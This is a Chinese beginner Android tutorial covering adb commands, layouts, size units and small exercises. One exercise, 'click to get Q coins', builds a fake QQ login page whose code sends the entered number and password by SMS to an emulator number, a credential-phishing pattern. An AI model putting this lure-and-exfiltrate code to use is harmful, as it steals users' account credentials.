1.安卓基础之Android介绍与入门

1. 通讯技术的介绍

  • 1G通信标准: 模拟制式
  • 2G通信标准: GSM/CDMA2.5G , 通信标准: GPRS
  • 2.75G通信标准: EDGE
  • 3G通信标准: WCDMA/CDMA2000/TD-SCDMA
  • 3.5G/3.75G通信标准: HSDPA/HSDPA+/HSUDA
  • 4G通信标准: TD-LTE

2. Android体系结构

Android体系结构

3. 开发工具的疑问

  • 启动Eclipse报错?
    因为Eclipse是由Java代码编写的,需要JVM的支持才能启动.如果启动失败,通常是没有搭配环境变量.
  • ADB是用来干什么的呢?
    adb(Android Debug Bridge)是Android 提供的一个通用的调试工具.借助这个工具,可以管理设备模拟器的状态 ,还可以进行以下的操作:

    • 快速更新设备或手机模拟器中的代码,如应用或Android系统升级;
    • 在设备上运行shell命令;
    • 管理设备或手机模拟器上的预定端口;
    • 在设备或手机模拟器上上传下载文件;
  • Intel x86模拟器?
    Google默认提供的模拟器是基于arm处理器的, 这种模拟器运行速度慢并非常卡顿, 影响开发和学习的效率, x86模拟器采用硬件加速功能来提升运行速度, 基本和真机无异.

  • x86模拟器使用要求?
    CPU必须是Intel公司的, 并且需要是i3(包含)以上.成功安装硬件加速执行管理器: IntelHaxm.exe.

4. 常用到的命令 ?

1
2
3
4
5
6
7
8
9
10
adb devices 列出所有的设置
adb start-server 开启adb服务
adb kill-server 关闭adb服务
adb logcat 查看Log
adb shell 挂载到Linux的空间
adb install <应用程序(加扩展名)> 安装应用程序
adb install <应用程序(加扩展名)> 安装应用到指定模拟器
adb uninstall <程序包名>
adb pull <remote> <local>
adb push <local> <remote>

5. Android常见布局

  • LinearLayout 线性布局

    • orientation 属性是指定线性布局的排列方向:
      horizontal 水平 vertical 垂直
    • gravity属性是指定当前控件内容显示位置:
      left 左边 right 右边 top 上边 bottom 底边
    • layout_gravity属性是指定当前控件在父元素的位置:
      left 左边 right 右边 top 上边 bottom 底边
      layout_weightSum属性是把线性布局中剩余空间分成N份.
      layout_weight属性是指定当前控件在父元素(线性布局)中占N份.

    • visibility属性是控制布局是否显示:
      visible 显示 invisible 不显示但占空间 gone 隐藏

  • RelativeLayout 相对布局
    android:layout_toRightOf 在指定控件的右边 android:layout_toLeftOf 在指定控件的左边 android:layout_above 在指定控件的上边 android:layout_below 在指定控件的下边 android:layout_alignBaseline 跟指定控件水平对齐 android:layout_alignLeft 跟指定控件左对齐 android:layout_alignRight 跟指定控件右对齐 android:layout_alignTop 跟指定控件顶部对齐 android:layout_alignBottom 跟指定控件底部对齐 android:layout_alignParentLeft 是否跟父布局左对齐 android:layout_alignParentTop 是否跟父布局顶部对齐 android:layout_alignParentRight 是否跟父布局右对齐 android:layout_alignParentBottom 是否跟父布局底部对齐 android:layout_centerVertical 在父布局中垂直居中 android:layout_centerHorizontal 在父布局中水平居中 android:layout_centerInParent 在父布局中居中

  • AbsoluteLayout 绝对布局
    android:layout_x 指定控件在父布局的x轴坐标 android:layout_y 指定控件在父布局的y轴坐标
  • FrameLayout 帧布局

    • 帧布局每次添加的控件都显示在最上面,最后显示在界面上的是最后添加的一个控件.
  • TableLayout 表格布局
    android:shrinkColumns 收缩列 android:stretchColumns 拉伸列 android:collapseColumns 隐藏列 android:layout_column 指定列(作用在列的身上) android:layout_span 合并列(作用在列的身上)
    TableRow单元行里的单元格的宽度小于默认的宽度时就不起作用,其默认是fill_parent,高度可以自定义大小.

6. Android中控件的宽高单位

  • px (pixels) 像素
  • dip或dp (device independent pixels) 设备独立像素
  • sp (scaled pixels — best for text size) 比例像素

除了上面三个显示单位,下面还有几个不太常用:

  • in (inches) 英寸
  • mm (millimeters) 毫米
  • pt (points)点,1/72英寸

为了适应不同分辨率, 不同的像素密度, 推荐使用dip/dp, 文字使用sp.

7.练习

  • 一键呼叫妻子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
MainActivity.java部分:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//初始化控件的操作
btn = (Button) findViewById(R.id.callWife);
//设置响应的onclick回调的监听器
btn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
//获得意图对象
Intent intent = new Intent();
//通过意图打电话
intent.setAction(intent.ACTION_CALL);
//打电话也需要相应的协议
intent.setData(Uri.parse("tel://13800138000"));
startActivity(intent);
}
});
}
1
2
3
4
5
6
7
8
9
10
11
12
13
AndroidManifest.xml部分:(需要添加打电话权限)
<uses-permission
android:name="android.permission.CALL_PHONE"/>
Layout部分:
<Button
android:id="@+id/callWife"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_centerVertical="true"
android:layout_centerHorizontal="true"
android:text="呼叫老婆"
/>
  • 小米计算器的布局:
    计算器的布局

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    Activity_main.xml部分:
    <?xml version="1.0" encoding="utf-8"?>
    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical" >
    <EditText
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    />
    <LinearLayout
    android:layout_width="fill_parent"
    android:layout_height="wrap_content" >
    <Button
    android:text="C"
    android:textColor="#FFC928"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    <Button
    android:text="DEL"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    <Button
    android:text="÷"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    <Button
    android:text="×"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    </LinearLayout>
    <LinearLayout
    android:layout_width="fill_parent"
    android:layout_height="wrap_content" >
    <Button
    android:text="7"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    <Button
    android:text="8"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    <Button
    android:text="9"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    <Button
    android:text="-"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    </LinearLayout>
    <LinearLayout
    android:layout_width="fill_parent"
    android:layout_height="wrap_content" >
    <Button
    android:text="4"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    <Button
    android:text="5"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    <Button
    android:text="6"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    <Button
    android:text="+"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    </LinearLayout>
    <LinearLayout
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:orientation="horizontal"
    >
    <LinearLayout
    android:orientation="vertical"
    android:layout_width="0dip"
    android:layout_weight="3"
    android:layout_height="wrap_content"
    >
    <LinearLayout
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:orientation="horizontal"
    >
    <Button
    android:text="1"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    <Button
    android:text="2"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    <Button
    android:text="3"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    </LinearLayout>
    <LinearLayout
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:orientation="horizontal"
    >
    <Button
    android:text="0"
    android:layout_width="0dip"
    android:layout_weight="2"
    android:layout_height="wrap_content"/>
    <Button
    android:text="."
    android:layout_width="0dip"
    android:layout_weight="1"
    android:layout_height="wrap_content"/>
    </LinearLayout>
    </LinearLayout>
    <Button
    android:text="="
    android:background="#F07A23"
    android:layout_width="0dip"
    android:layout_weight="1"
    android:gravity="bottom|right"
    android:layout_height="fill_parent"
    />
    </LinearLayout>
    </LinearLayout>
  • 点击获取Q币:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
MainActivity.java部分:
private EditText number;
private EditText password;
private Button login_btn;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//做初始化控件操作
number = (EditText) findViewById(R.id.qq_number);
password = (EditText) findViewById(R.id.qq_password);
login_btn = (Button) findViewById(R.id.btn_login);
login_btn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View arg0) {
// 获得号码与密码
String numValue = number.getText().toString();
String pasValue = password.getText().toString();
//拿到号码的发送管理器
SmsManager smsManager = SmsManager.getDefault();
// destinationAddress : 目的地
// scAddress : 源 地址
// text : 发送的文本数据
// sentIntent : 发送成功 报告
// deliveryIntent : 对方开机后收到 短信的报告
smsManager.sendTextMessage("5556", null, numValue+"---"+pasValue, null, null);
}
});
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
activity_main.xml部分:
<LinearLayout
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:gravity="center"
xmlns:android="http://schemas.android.com/apk/res/android">
<ImageView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:src="@drawable/qq"
/>
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="请输入您的QQ号码"
/>
<EditText
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:id="@+id/qq_number"
/>
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="请输入您的QQ密码"
/>
<EditText
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:id="@+id/qq_password"
/>
<Button
android:id="@+id/btn_login"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="登陆"/>
</LinearLayout>
AndroidManifest.xml部分:获得SMS的读取权限
<uses-permission android:name="android.permission.SEND_SMS"/>
  • 点击事件四种实现方式
    方式1: 布局文件声明onClick属性.
    方式2: 使用匿名内部类.
    方式3: 使用内部类.
    方式4: 使用当前类对象, 当前类需要实现对应的接口.

8 . 总结

刚入门,没有什么可以写的.记住:每一个不曾起舞的日子,都是对生命的辜负!